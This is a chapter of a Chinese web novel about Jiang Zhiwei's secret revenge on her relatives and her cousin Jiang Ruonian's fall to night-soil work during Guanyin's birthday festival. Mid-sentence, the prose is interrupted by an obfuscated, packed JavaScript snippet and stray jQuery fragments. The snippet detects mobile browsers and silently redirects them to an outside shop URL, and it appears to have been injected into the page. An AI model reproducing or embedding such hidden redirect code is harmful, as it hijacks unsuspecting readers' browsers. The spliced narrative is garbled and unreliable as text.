蓝君和喜欢花柳巷子里的娘子对他这般,唯独讨厌姜之唯这样,看到这样的表情,他心里没来由生出一阵厌恶,甩开袖子,“看来你是不需要我帮忙了。既然不需要,我就先走了,你慢慢干,不要累坏了,不然我娘该心疼了。”
“君和哥——”姜之唯低低唤了他一声,声音似恼似嗔,充满了眷恋。
等到完全看不到蓝君和了,姜之唯收起脸上全部深情,用力将蓝君和触碰过的地方全都擦干净。
哪里凉快去哪里呆着才好,在面前晃悠真碍眼。
收拾好祭品,去供奉菩萨前,需要先在家中祭拜已经逝去的家人,让他们也知晓今日是观音菩萨的生辰,让他们在下面同为菩萨庆生。
姜之唯在院中摆上供品,燃起香烛,庄重地跪了下去,“爹娘,祖母,我现在在蓝家,蓝夫人很照顾我,我过得很好,你们不用记挂我。”
说完,姜之唯重重叩首。
接着双手合十,闭上眼睛,心声说完接下来的话,“我不后悔,姜如念受到了惩罚,接下来就是堂叔他们,我不后悔,愿你们保佑,我一切顺利,早点完成复仇。”
姜之唯这边祭拜完毕,怀念逝去的亲人,姜秋大和楼听雨二人完全没有祭拜的打算,连做做样子都不愿意。
祖母去世多少年,他们就有多少年没有祭拜过亲人。不是不愿意,是他们心虚,作为亲手害死他们的罪魁祸首,他们心虚。
在这种能与神明沟通的日子里,他们更是害怕。害怕受到报应,更害怕自己所求的所有不能成真。
随着年岁渐长,楼听雨对祭祀神明这些事情越来越虔诚,每年准备的东西只多不少。
今年她准备的东西比上一年要多一倍。在祭祀神明这件事上,楼听雨一向是亲历亲为的。
确认好最后一件物什后,楼听雨想起不知所踪的女儿,叹了一口,坐到姜秋大身边,“老爷,您说小念去哪儿?”
姜如念?
提起姜如念,姜秋大喝茶的动作一顿,脸上掠过几丝不自在,“她不回来,定是有事要去做。孩子已经长大了,咱们就不要随便乱管了,小心到时候她与你生气,坏了情分可就不好了。”
楼听雨对他的话一向是言听计从的,听完便点头。
“你瞧你,女儿不在家就魂不守舍的,看来咱们应该再要一个孩子了。”姜秋大在她耳边暧昧呼了一口气,暧昧道,“等到小念出嫁,也省得家里冷清下来。你瞧现在,小念才出门多久,家里就这么冷清,你就这么魂不守舍,以后还有那么多年,你该怎么办?”
说着关切的语气,姜秋大语气里隐含着一丝责备。楼听雨被他说动了,这么多年她不要孩子,一方面有姜如念的原因,另一方面——
但,已经过去那么久了,试一试说不定真的有希望。
楼听雨:“好啊,老爷那我再去多准备几份供品。一会儿起到菩萨给咱们赐一个麟儿。”
正午时分,是天地间阴阳相合的时候。
众人齐聚在搭好的菩萨像前,将自家的供品一一供奉上前。
城中的大户人家,供品种类丰富、数量奇多,普通人家只有寥寥几种,在这种事上不需要攀比,只要是用心准备、竭尽全力了,观音菩萨都会感知到的,都会保佑每一个虔诚信徒的。
受到楼听雨影响,姜如念对祭祀观音菩萨这事儿特别重视。提前一天就和主管好声好气商量,希望能给自己几个时辰空闲,让她也能去祭拜观音菩萨。
从来的第一天,姜如念就和吃了火药一样,两人没说上几句就要吵起来。还是第一次听姜如念好好说话,主管诧异地看着她,“你吃错药了?”
姜如念软声恳切:“没有。这种大事,每年我都要参与的,今年也不能缺席。”尤其是姜之唯落得那般机缘,菩萨真是不开眼,怎么就没注意到我?
“当然可以。咱们虽然是倒夜香的,观音菩萨生辰这种大日子,也是要参与的,只是要排在人群最后,免得招人厌恶。你要切记自己现在的身份,不要乱添麻烦。”夜香主管骨子里是一个非常善良的人,只是被生活磋磨多年,性子才会如此暴躁。有人同自己好声说话,她当然也要好声回应。
-
送供品的队伍很长,姜如念不知道排了多久,终于能亲眼见到今年的菩萨像。
也是在这个时候,她才知道城中的普通百姓远多于他们这些商贾贵庶,这些看似不起眼的人,才是支撑这座城运转起来的核心动力。
她来这里,是想找楼听雨诉苦,让楼听雨带自己回家。结果一阵排队下来,她找人的心思歇了,按照现在的身份,想要去找身为商贾的楼听雨,简直是难上青天。只能等晚上的聚会再去动作了。
等城中所有百姓将祭品供奉给菩萨,祭祀的流程便可以开始了。
这套流程流传了近千年,流程繁琐,能让每个人都参与其中。主持这场祭祀的,则是城中最有威望的老人、端林郡主和府尹大人。
一年一次,去年的生辰仿佛是昨日,今年的生辰终于到来。城中每个人都很喜欢菩萨、信任菩萨,即使祭拜的流程很长、很复杂,也不觉得枯燥、无聊,心里总是流淌着丝丝蜜意。
等到了日暮西山的时候,祭祀的最后一个流程走完。伴随着夜幕降临,众人也开启了今夜的庆典。
杀猪宰鸡,烹羊宰牛,场面血腥又热闹。在菩萨的见证下,众人欢聚一堂,共享美食,共庆盛世。
世族、商贾、百姓有各自庆祝的场所。
姜如念知晓他们往年都在哪里庆祝,刚准备拔腿过去,就被夜香主管叫住,“等等,你要去哪儿?祭祀结束了,赶紧过去倒夜香。”
“我还有事没有处理,不能再等等吗?”刚才恍惚一下,姜如念已经看见楼听雨了,如果追上去,能马上见到面。
“等你?你觉得城里那些员外老爷、端林郡
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17864316|212142||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
主,还有府尹大人能等你吗?你的一句等你,可能得罪多少人?你已经不是大小姐了,不要不知天高地厚!”夜香主管警告道。
在人屋檐下不得不低头。她现在只是卖身为奴的小吏,没有反抗的资格,如果告到蓝家去,受苦的只能是自己。
姜如念终于知道见好就收了。
离开前,仍不死心的往回看了一眼,希望楼听雨还在这边,正巧与自己对上视线,说不定还能带自己回家呢?
这一眼果不其然是大失所望的。
-
感念菩萨生辰,城中很多商铺今日免费,摆出些可以吃用的小玩意儿让人随意取用。
女儿不在身边,楼听雨难免惆怅起来,走在街市上,看着这些东西,好像看到姜如念站在不远处正焦急地看着自己。
“夫人,您要糖葫芦吗?”小贩将一个糖葫芦递过去,心里挂念着姜如念,楼听雨无意识地接过去,“菩萨生辰,愿菩萨保佑你我。”
看着手里的糖葫芦,楼听雨不由想起姜如念小时候。
楼听雨这般怀念的表情,一份不差地落在姜之唯眼里。姜之唯盯着她,眼底慢慢涌出讽意,“真是讽刺,真心待你的婆母不珍惜,在这里装伤感什么?教女无方不就是你这样,你应该同她一起去挑夜香!”
姜之唯愤恨地锤了下墙壁,抬头去看菩萨的侧脸,抑制自己的眼泪。
“姜小姐,你在这儿啊,我找了你好久呢。”韦懿宸吊儿郎当的声音由远及近传来,姜之唯赶紧低头擦去眼角的泪花,转头带着几分嗔怨看过去,“你怎么在这儿?这么大声叫我,君和哥知道会生气的。”
“你还君和哥、君和哥的,蓝君和去找漂亮小娘子去了,怎么会在意你这个未婚娘子。”韦懿宸毫不留情地将刚才看到一幕说给她听。
姜之唯故作强硬,“看到又如何,这是我和君和哥之间的事情,不用你来管。”
韦懿宸:“好好好,你不用我管,那你刚才哭什么?”
姜之唯诧异,“你看到了?”
韦懿宸轻哼一声,抱起双臂,“那么明显的动作,我要是看不见,岂不是个瞎子。姜小姐,虽然我和蓝君和是齐名的纨绔,这些日子相处下来,你应该知道我比他好得多。如果你只是想找个纨绔夫君,大可以找我的。”
“找你?”姜之唯上下打量,表示嫌弃,“你哥哥比你好一万倍。如果我真的要选韦家的公子,肯定选他,韦公子夫君这件事你就不要开玩笑了,我是不会选你的。”
“好吧好吧。我是开玩笑的,看来真的很喜欢他呢。”不知道多少次了,真心话由玩笑的形式说出来,日子久了,被人曲解的时候,也就不觉得难受了。
“那是,我和君和哥可是青梅竹马,从小认识。你是不知道,小的时候有多少人喜欢他,又有多少人想嫁给他,最后还是我得到了呢。”姜之唯高兴地炫耀,语气就像是吃到蜜糖的小孩子。